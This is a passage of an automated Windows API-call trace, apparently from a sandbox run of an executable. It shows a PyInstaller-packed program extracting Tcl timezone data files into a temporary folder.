lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.070] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.070] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.070] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.070] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.070] CloseHandle (hObject=0x10c) returned 1 [0040.070] GetLastError () returned 0x0 [0040.070] SetLastError (dwErrCode=0x0) [0040.070] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Dacca") returned 67 [0040.070] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Dacca" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\dacca"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0040.070] GetLastError () returned 0x2 [0040.070] SetLastError (dwErrCode=0x2) [0040.070] GetLastError () returned 0x2 [0040.071] SetLastError (dwErrCode=0x2) [0040.071] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Dacca", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Dacca", lpFilePart=0x0) returned 0x42 [0040.071] GetLastError () returned 0x2 [0040.071] SetLastError (dwErrCode=0x2) [0040.071] GetLastError () returned 0x2 [0040.071] SetLastError (dwErrCode=0x2) [0040.071] GetLastError () returned 0x2 [0040.071] SetLastError (dwErrCode=0x2) [0040.071] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Dacca") returned 67 [0040.071] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0040.071] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Dacca" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\dacca"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.071] GetFileType (hFile=0x10c) returned 0x1 [0040.071] htonl (hostlong=0xa4000000) returned 0xa4 [0040.071] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.072] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xa4, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xa4, lpOverlapped=0x0) returned 1 [0040.073] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.073] CloseHandle (hObject=0x10c) returned 1 [0040.073] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x544c50 | out: hHeap=0x530000) returned 1 [0040.073] htonl (hostlong=0x30000000) returned 0x30 [0040.073] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0040.073] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0040.073] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.073] GetFileType (hFile=0x10c) returned 0x1 [0040.073] htonl (hostlong=0x97c85a00) returned 0x5ac897 [0040.073] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5f7897, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0040.073] htonl (hostlong=0x45060000) returned 0x645 [0040.073] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x645) returned 0x550600 [0040.073] htonl (hostlong=0x45060000) returned 0x645 [0040.073] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.073] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0040.073] htonl (hostlong=0x5f1f0000) returned 0x1f5f [0040.073] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1f5f) returned 0x561090 [0040.074] htonl (hostlong=0x45060000) returned 0x645 [0040.074] htonl (hostlong=0x5f1f0000) returned 0x1f5f [0040.074] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562ff8 [0040.074] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562ff8 | out: hHeap=0x530000) returned 1 [0040.074] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0040.074] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.074] CloseHandle (hObject=0x10c) returned 1 [0040.074] GetLastError () returned 0x0 [0040.074] SetLastError (dwErrCode=0x0) [0040.074] GetLastError () returned 0x0 [0040.074] SetLastError (dwErrCode=0x0) [0040.074] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0040.074] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.074] GetFileType (hFile=0x10c) returned 0x1 [0040.074] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.074] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.074] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.074] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.074] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.074] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.074] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.074] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.075] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.075] CloseHandle (hObject=0x10c) returned 1 [0040.075] GetLastError () returned 0x0 [0040.075] SetLastError (dwErrCode=0x0) [0040.075] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0040.075] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.075] GetFileType (hFile=0x10c) returned 0x1 [0040.075] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.075] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.075] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.075] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.075] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.075] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.085] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.085] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.085] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.085] CloseHandle (hObject=0x10c) returned 1 [0040.085] GetLastError () returned 0x0 [0040.086] SetLastError (dwErrCode=0x0) [0040.086] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia") returned 61 [0040.086] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.086] GetFileType (hFile=0x10c) returned 0x1 [0040.086] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.086] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.086] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.086] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.086] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.086] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.086] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.086] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.086] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.086] CloseHandle (hObject=0x10c) returned 1 [0040.086] GetLastError () returned 0x0 [0040.086] SetLastError (dwErrCode=0x0) [0040.086] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Damascus") returned 70 [0040.086] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Damascus" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\damascus"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0040.086] GetLastError () returned 0x2 [0040.086] SetLastError (dwErrCode=0x2) [0040.086] GetLastError () returned 0x2 [0040.086] SetLastError (dwErrCode=0x2) [0040.086] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Damascus", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Damascus", lpFilePart=0x0) returned 0x45 [0040.086] GetLastError () returned 0x2 [0040.086] SetLastError (dwErrCode=0x2) [0040.086] GetLastError () returned 0x2 [0040.086] SetLastError (dwErrCode=0x2) [0040.087] GetLastError () returned 0x2 [0040.087] SetLastError (dwErrCode=0x2) [0040.087] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Damascus") returned 70 [0040.087] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0040.087] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Damascus" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\damascus"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.087] GetFileType (hFile=0x10c) returned 0x1 [0040.087] htonl (hostlong=0x5f1f0000) returned 0x1f5f [0040.087] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd00*=0x1000, lpOverlapped=0x0) returned 1 [0040.088] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.088] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xf5f, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xf5f, lpOverlapped=0x0) returned 1 [0040.088] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.088] CloseHandle (hObject=0x10c) returned 1 [0040.088] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0040.089] htonl (hostlong=0x30000000) returned 0x30 [0040.089] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0040.089] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0040.089] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.089] GetFileType (hFile=0x10c) returned 0x1 [0040.089] htonl (hostlong=0xdcce5a00) returned 0x5acedc [0040.089] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5f7edc, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0040.089] htonl (hostlong=0xd9000000) returned 0xd9 [0040.089] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xd9) returned 0x550600 [0040.089] htonl (hostlong=0xd9000000) returned 0xd9 [0040.089] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.090] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0040.090] htonl (hostlong=0x78010000) returned 0x178 [0040.090] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x178) returned 0x5506e8 [0040.090] htonl (hostlong=0xd9000000) returned 0xd9 [0040.090] htonl (hostlong=0x78010000) returned 0x178 [0040.090] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0040.090] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0040.090] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0040.090] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.090] CloseHandle (hObject=0x10c) returned 1 [0040.090] GetLastError () returned 0x0 [0040.090] SetLastError (dwErrCode=0x0) [0040.091] GetLastError () returned 0x0 [0040.091] SetLastError (dwErrCode=0x0) [0040.091] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0040.091] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.091] GetFileType (hFile=0x10c) returned 0x1 [0040.091] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.091] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.091] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.091] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.091] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.091] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.091] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.091] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.091] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.091] CloseHandle (hObject=0x10c) returned 1 [0040.091] GetLastError () returned 0x0 [0040.092] SetLastError (dwErrCode=0x0) [0040.092] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0040.092] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.092] GetFileType (hFile=0x10c) returned 0x1 [0040.092] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.092] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.092] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.092] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.092] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.092] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.092] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.092] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.092] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.092] CloseHandle (hObject=0x10c) returned 1 [0040.092] GetLastError () returned 0x0 [0040.092] SetLastError (dwErrCode=0x0) [0040.092] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia") returned 61 [0040.092] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.092] GetFileType (hFile=0x10c) returned 0x1 [0040.092] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.092] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.092] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.092] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.092] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.093] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.093] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.093] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.093] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.093] CloseHandle (hObject=0x10c) returned 1 [0040.093] GetLastError () returned 0x0 [0040.093] SetLastError (dwErrCode=0x0) [0040.093] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Dhaka") 